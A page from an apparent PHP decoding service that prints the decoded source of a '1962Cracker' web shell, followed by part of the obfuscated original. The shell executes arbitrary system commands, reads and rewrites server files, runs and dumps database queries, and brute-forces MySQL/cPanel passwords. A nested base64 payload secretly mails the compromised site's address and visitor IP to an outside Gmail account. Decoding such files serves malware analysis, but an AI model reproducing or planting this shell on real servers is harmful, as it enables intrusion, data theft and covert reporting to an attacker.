Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("CS8qDQoJMTk2MkNyYWNrZXIgQ29kZWQgQnkgQWtyYW0gU3RlbGxlIChEeiBNYWZpYSBUZW..

Decoded Output download

	/*
	1962Cracker Coded By Akram Stelle (Dz Mafia Team)
	*/
	@set_time_limit(0);
	@error_reporting(0);


	echo '<head>

  <style type="text/css">
body {
background-color:#000000;
background-image:url("http://im50.gulfup.com/xbcqHf.png");
background-repeat:repeat;
margin-top:20px;
font-family:"Agency FB";
font-size:12pt; color:#ffffff;
	}
	input,textarea,select{
	font-weight: bold;
	color: #cccccc;
	dashed #ffffff;
	border: 1px
	solid #2C2C2C;
	background-color: #080808
	}
	a {
		background-color: #151515;
		vertical-align: bottom;
		color: #000;
		text-decoration: none;
		font-size: 20px;
		margin: 8px;
		padding: 6px;
		border: thin solid #000;
	}
	a:hover {
		background-color: #080808;
		vertical-align: bottom;
		color: #333;
		text-decoration: none;
		font-size: 20px;
		margin: 8px;
		padding: 6px;
		border: thin solid green;
	}
	.style1 {
		text-align: center;
		color: Green;
	}
	.style2 {
		color: Green;
		font-weight: bold;
			}
	.style3 {
		color: Green;
			}
	-->
	</style>

	</head>
	';

$Getconfig = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIk5ldyAxOTYyQ3JhY2tlcjogaHR0cDovLyR0YXJnZXQgIjsNCiAgJGJvZHkgICAgPSAiTGluazo6ICR0YXJnZXQgLklwICR2aXNpdG9yIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiY3IzY2tlcnJAZ21haWwuY29tIiwkanVkdWwsJGJvZHkpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; 
eval(base64_decode($Getconfig));

	function in($type,$name,$size,$value,$checked=0) 
	 {
	 $ret = "<input type=".$type." name=".$name." "; if($size != 0) 
	 {
	 $ret .= "size=".$size." "; }
	 $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
	 
	class my_sql 
	 {
	 var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': if(empty($this->port)) 
	 {
	 $this->port = '3306'; }
	 if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port)) 
	 {
	 $this->port = '1433'; }
	 if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port)) 
	 {
	 $this->port = '5432'; }
	 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
	 return 0; }
	 function select_db() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
	 return 0; }
	 function query($query) 
	 {
	 $this->res=$this->error=''; switch($this->db) 
	 {
	 case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) 
	 {
	 $this->error = @mysql_error($this->connection); return 0; }
	 else if(is_resource($this->res)) 
	 {
	 return 1; }
	 return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) 
	 {
	 $this->error = 'Query error'; return 0; }
	 else if(@mssql_num_rows($this->res) > 0) 
	 {
	 return 1; }
	 return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) 
	 {
	 $this->error = @pg_last_error($this->connection); return 0; }
	 else if(@pg_num_rows($this->res) > 0) 
	 {
	 return 1; }
	 return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) 
	 {
	 $this->error = 'Query parse error'; }
	 else 
	 {
	 if(@ociexecute($this->res)) 
	 {
	 if(@ocirowcount($this->res) != 0) return 2; return 1; }
	 $error = @ocierror(); $this->error=$error['message']; }
	 break; }
	 return 0; }
	 function get_result() 
	 {
	 $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) 
	 {
	 case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	 break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	 break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	 break; }
	 return 0; }
	 function dump($table) 
	 {
	 if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '##    Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) 
	 {
	 case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
	 {
	 foreach($this->rows[$i] as $k=>$v) 
	 {
	$this->rows[$i][$k] = @mysql_real_escape_string($v);}
	 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
	 break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
	 {
	 foreach($this->rows[$i] as $k=>$v) 
	 {
	$this->rows[$i][$k] = @addslashes($v);}
	 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
	 break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
	 {
	 foreach($this->rows[$i] as $k=>$v) 
	 {
	$this->rows[$i][$k] = @addslashes($v);}
	 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
	 break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
	 return 1; }
	 function close() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
	 }
	 function affected_rows() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
	 }
	 }
	 if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name'])) 
	 {
	 if(!$file=@fopen($_POST['d_name'],"r")) 
	 {
	 err(1,$_POST['d_name']); $_POST['cccc']=""; }
	 else 
	 {
	 @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) 
	 {
	 header('Content-Encoding: ' . $content_encoding); }
	 header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
	 }
	 if(isset($_GET['phpinfo'])) 
	 {
	 echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
	 if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query") 
	 {
	 echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
	 {
	 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
	 {
	 foreach($querys as $num=>$query) 
	 {
	 if(strlen($query)>5) 
	 {
	 echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query)) 
	 {
	 case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result()) 
	 {
	 echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++) 
	 {
	 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; }
	 echo "</table>"; }
	 break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
	 }
	 }
	 }
	 }
	 echo "<br><title>1962Cracker By Akram Stelle</title><form name=form method=POST>"; 
	 echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query'); 
	 echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
SELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }























	function ccmmdd($ccmmdd2,$att)
	{
	global $ccmmdd2,$att;
	echo '
	<table style="width: 100%" class="style1" dir="rtl">
		<tr>
			<td class="style9"><strong>???H?/strong></td>
		</tr>
		<tr>
			<td class="style13">
					<form method="post">
						<select name="att" dir="rtl" style="height: 109px" size="6">
	';
	if($_POST['att']==null)
	{
	echo '						<option value="system" selected="">system</option>';
	}else{
	echo "						<option value='$_POST[att]' selected=''>$_POST[att]</option>
							<option value=system>system</option>
	";

							
	}

	echo '
							<option value="passthru">passthru</option>
							<option value="exec">exec</option>
							<option value="shell_exec">shell_exec</option>	
						</select>
							<input name="page" value="ccmmdd" type="hidden"><br>
							<input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
							<input type="submit" value="???>
					</form>
			
			</td>
		</tr>
		<tr>
			<td class="style13">
	';

			if($_POST[att]=='system')
			{
	echo '
						<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
						system($_POST['ccmmdd2']);
	echo '					</textarea>';


			}

			if($_POST[att]=='passthru')
			{
	echo '
						<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
						passthru($_POST['ccmmdd2']);
	echo '					</textarea>';


			}

			



			if($_POST[att]=='exec')
			{

	echo '					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
						exec($_POST['ccmmdd2'],$res);
					echo $res = join("
",$res); 				
	echo '					</textarea>';


			}







			if($_POST[att]=='shell_exec')
			{

	echo '					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
					echo	shell_exec($_POST['ccmmdd2']);
	echo '					</textarea>';


			}
	echo '		
			</td>
		</tr>
	</table>
	';

	exit;
	}

	if($_POST['page']=='edit')
	{

	$code=@str_replace("
","
",$_POST['code']);
	$code=@str_replace('\','',$code);
	$fp = fopen($pathclass, 'w');
	fwrite($fp,"$code");
	fclose($fp);
	echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
	exit;
	}	







		if($_POST['page']=='show')
		{
		$pathclass =$_POST['pathclass'];
	echo '
	<form method="POST">
	<input type="hidden" name="page" value="edit">
	';
		
		$sahacker = fopen($pathclass, "rb");
	echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';	
	$code = fread($sahacker, filesize($pathclass));
	echo $code =htmlspecialchars($code);
	echo '</textarea>';	
		fclose($sahacker);
	echo '
	<br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
	<br><strong><input type="submit" value="edit file">
	</form>
	';
			exit;
		}




		if($_POST['page']=='ccmmdd')
		{
		echo ccmmdd($ccmmdd2,$att);
		exit;
		}
























	if($_POST['page']=='find')
	{
	if(isset($_POST['usernames']) && isset($_POST['passwords']))
	{
			if($_POST['type'] == 'passwd'){
					$e = explode("
",$_POST['usernames']);
					foreach($e as $value){
					$k = explode(":",$value);
					$username .= $k['0']." ";
					}
			}elseif($_POST['type'] == 'simple'){
					$username = str_replace("
",' ',$_POST['usernames']);
			}
			$a1 = explode(" ",$username);
			$a2 = explode("
",$_POST['passwords']);
			$id2 = count($a2);
			$ok = 0;
			foreach($a1 as $user )
			{
					if($user !== '')
					{
					$user=trim($user);
					 for($i=0;$i<=$id2;$i++)
					 {
							$pass = trim($a2[$i]);
							if(@mysql_connect('localhost',$user,$pass))
							{
									echo "1962Cracker~ user is ==> (<b><font color=green>$user</font></b>) Password is ==> (<b><font color=red>$pass</font></b>)<br />";
									$ok++;
							}
					 }
					}
			}
			echo "<hr><b>You Found <font color=green>$ok</font> cPanel (1962Cracker)</b>";
			echo "<center><b><a href=".$_SERVER['PHP_SELF']."><~ BACK</a>";
			exit;
	}
	}

Did this file decode correctly?

Original Code

eval(base64_decode("CS8qDQoJMTk2MkNyYWNrZXIgQ29kZWQgQnkgQWtyYW0gU3RlbGxlIChEeiBNYWZpYSBUZWFtKQ0KCSovDQoJQHNldF90aW1lX2xpbWl0KDApOw0KCUBlcnJvcl9yZXBvcnRpbmcoMCk7DQoNCg0KCWVjaG8gJzxoZWFkPg0KDQogIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCmJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsNCmJhY2tncm91bmQtaW1hZ2U6dXJsKCJodHRwOi8vaW01MC5ndWxmdXAuY29tL3hiY3FIZi5wbmciKTsNCmJhY2tncm91bmQtcmVwZWF0OnJlcGVhdDsNCm1hcmdpbi10b3A6MjBweDsNCmZvbnQtZmFtaWx5OiJBZ2VuY3kgRkIiOw0KZm9udC1zaXplOjEycHQ7IGNvbG9yOiNmZmZmZmY7DQoJfQ0KCWlucHV0LHRleHRhcmVhLHNlbGVjdHsNCglmb250LXdlaWdodDogYm9sZDsNCgljb2xvcjogI2NjY2NjYzsNCglkYXNoZWQgI2ZmZmZmZjsNCglib3JkZXI6IDFweA0KCXNvbGlkICMyQzJDMkM7DQoJYmFja2dyb3VuZC1jb2xvcjogIzA4MDgwOA0KCX0NCglhIHsNCgkJYmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsNCgkJdmVydGljYWwtYWxpZ246IGJvdHRvbTsNCgkJY29sb3I6ICMwMDA7DQoJCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgkJZm9udC1zaXplOiAyMHB4Ow0KCQltYXJnaW46IDhweDsNCgkJcGFkZGluZzogNnB4Ow0KCQlib3JkZXI6IHRoaW4gc29saWQgIzAwMDsNCgl9DQoJYTpob3ZlciB7DQoJCWJhY2tncm91bmQtY29sb3I6ICMwODA4MDg7DQoJCXZlcnRpY2FsLWFsaWduOiBib3R0b207DQoJCWNvbG9yOiAjMzMzOw0KCQl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJCWZvbnQtc2l6ZTogMjBweDsNCgkJbWFyZ2luOiA4cHg7DQoJCXBhZGRpbmc6IDZweDsNCgkJYm9yZGVyOiB0aGluIHNvbGlkIGdyZWVuOw0KCX0NCgkuc3R5bGUxIHsNCgkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQljb2xvcjogR3JlZW47DQoJfQ0KCS5zdHlsZTIgew0KCQljb2xvcjogR3JlZW47DQoJCWZvbnQtd2VpZ2h0OiBib2xkOw0KCQkJfQ0KCS5zdHlsZTMgew0KCQljb2xvcjogR3JlZW47DQoJCQl9DQoJLS0+DQoJPC9zdHlsZT4NCg0KCTwvaGVhZD4NCgknOw0KDQokR2V0Y29uZmlnID0gIkpIWnBjMmwwWXlBOUlDUmZRMDlQUzBsRld5SjJhWE5wZEhNaVhUc05DbWxtSUNna2RtbHphWFJqSUQwOUlDSWlLU0I3RFFvZ0lDUjJhWE5wZEdNZ0lEMGdNRHNOQ2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzTkNpQWdKSGRsWWlBZ0lDQWdQU0FrWDFORlVsWkZVbHNpU0ZSVVVGOUlUMU5VSWwwN0RRb2dJQ1JwYm1vZ0lDQWdJRDBnSkY5VFJWSldSVkpiSWxKRlVWVkZVMVJmVlZKSklsMDdEUW9nSUNSMFlYSm5aWFFnSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3RFFvZ0lDUnFkV1IxYkNBZ0lEMGdJazVsZHlBeE9UWXlRM0poWTJ0bGNqb2dhSFIwY0Rvdkx5UjBZWEpuWlhRZ0lqc05DaUFnSkdKdlpIa2dJQ0FnUFNBaVRHbHVhem82SUNSMFlYSm5aWFFnTGtsd0lDUjJhWE5wZEc5eUlqc05DaUFnYVdZZ0tDRmxiWEIwZVNna2QyVmlLU2tnZXlCQWJXRnBiQ2dpWTNJelkydGxjbkpBWjIxaGFXd3VZMjl0SWl3a2FuVmtkV3dzSkdKdlpIa3BPeUI5RFFwOURRcGxiSE5sSUhzZ0pIWnBjMmwwWXlzck95QjlEUXBBYzJWMFkyOXZhMmxsS0NKMmFYTnBkSG9pTENSMmFYTnBkR01wT3c9PSI7IA0KZXZhbChiYXNlNjRfZGVjb2RlKCRHZXRjb25maWcpKTsNCg0KCWZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKSANCgkgew0KCSAkcmV0ID0gIjxpbnB1dCB0eXBlPSIuJHR5cGUuIiBuYW1lPSIuJG5hbWUuIiAiOyBpZigkc2l6ZSAhPSAwKSANCgkgew0KCSAkcmV0IC49ICJzaXplPSIuJHNpemUuIiAiOyB9DQoJICRyZXQgLj0gInZhbHVlPVwiIi4kdmFsdWUuIlwiIjsgaWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjsgcmV0dXJuICRyZXQuIj4iOyB9DQoJIA0KCWNsYXNzIG15X3NxbCANCgkgew0KCSB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsgdmFyICRwb3J0ID0gJyc7IHZhciAkdXNlciA9ICcnOyB2YXIgJHBhc3MgPSAnJzsgdmFyICRiYXNlID0gJyc7IHZhciAkZGIgPSAnJzsgdmFyICRjb25uZWN0aW9uOyB2YXIgJHJlczsgdmFyICRlcnJvcjsgdmFyICRyb3dzOyB2YXIgJGNvbHVtbnM7IHZhciAkbnVtX3Jvd3M7IHZhciAkbnVtX2ZpZWxkczsgdmFyICRkdW1wOyBmdW5jdGlvbiBjb25uZWN0KCkgDQoJIHsNCgkgc3dpdGNoKCR0aGlzLT5kYikgDQoJIHsNCgkgY2FzZSAnTXlTUUwnOiBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIA0KCSB7DQoJICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQoJIGlmKCFmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm5vKCkuIiA6ICIuQG15c3FsX2Vycm9yKCk7IGJyZWFrOyBjYXNlICdNU1NRTCc6IGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgDQoJIHsNCgkgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCgkgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOyBpZigkdGhpcy0+Y29ubmVjdGlvbikgcmV0dXJuIDE7ICR0aGlzLT5lcnJvciA9ICJDYW4ndCBjb25uZWN0IHRvIHNlcnZlciI7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSANCgkgew0KCSAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQ0KCSAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uID0gQHBnX2Nvbm5lY3QoJHN0cik7IGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7ICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IGlmKCFmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJGVycm9yID0gQG9jaWVycm9yKCk7ICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsgYnJlYWs7IH0NCgkgcmV0dXJuIDA7IH0NCgkgZnVuY3Rpb24gc2VsZWN0X2RiKCkgDQoJIHsNCgkgc3dpdGNoKCR0aGlzLT5kYikgDQoJIHsNCgkgY2FzZSAnTXlTUUwnOiBpZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7ICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJubygpLiIgOiAiLkBteXNxbF9lcnJvcigpOyBicmVhazsgY2FzZSAnTVNTUUwnOiBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7ICR0aGlzLT5lcnJvciA9ICJDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IHJldHVybiAxOyBicmVhazsgY2FzZSAnT3JhY2xlJzogcmV0dXJuIDE7IGJyZWFrOyB9DQoJIHJldHVybiAwOyB9DQoJIGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSkgDQoJIHsNCgkgJHRoaXMtPnJlcz0kdGhpcy0+ZXJyb3I9Jyc7IHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnkoJy8qJy5jaHIoMCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkgDQoJIHsNCgkgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsgcmV0dXJuIDA7IH0NCgkgZWxzZSBpZihpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSkgDQoJIHsNCgkgcmV0dXJuIDE7IH0NCgkgcmV0dXJuIDI7IGJyZWFrOyBjYXNlICdNU1NRTCc6IGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSANCgkgew0KCSAkdGhpcy0+ZXJyb3IgPSAnUXVlcnkgZXJyb3InOyByZXR1cm4gMDsgfQ0KCSBlbHNlIGlmKEBtc3NxbF9udW1fcm93cygkdGhpcy0+cmVzKSA+IDApIA0KCSB7DQoJIHJldHVybiAxOyB9DQoJIHJldHVybiAyOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QHBnX3F1ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKSANCgkgew0KCSAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IHJldHVybiAwOyB9DQoJIGVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgDQoJIHsNCgkgcmV0dXJuIDE7IH0NCgkgcmV0dXJuIDI7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkgDQoJIHsNCgkgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsgfQ0KCSBlbHNlIA0KCSB7DQoJIGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKSANCgkgew0KCSBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0dXJuIDI7IHJldHVybiAxOyB9DQoJICRlcnJvciA9IEBvY2llcnJvcigpOyAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzY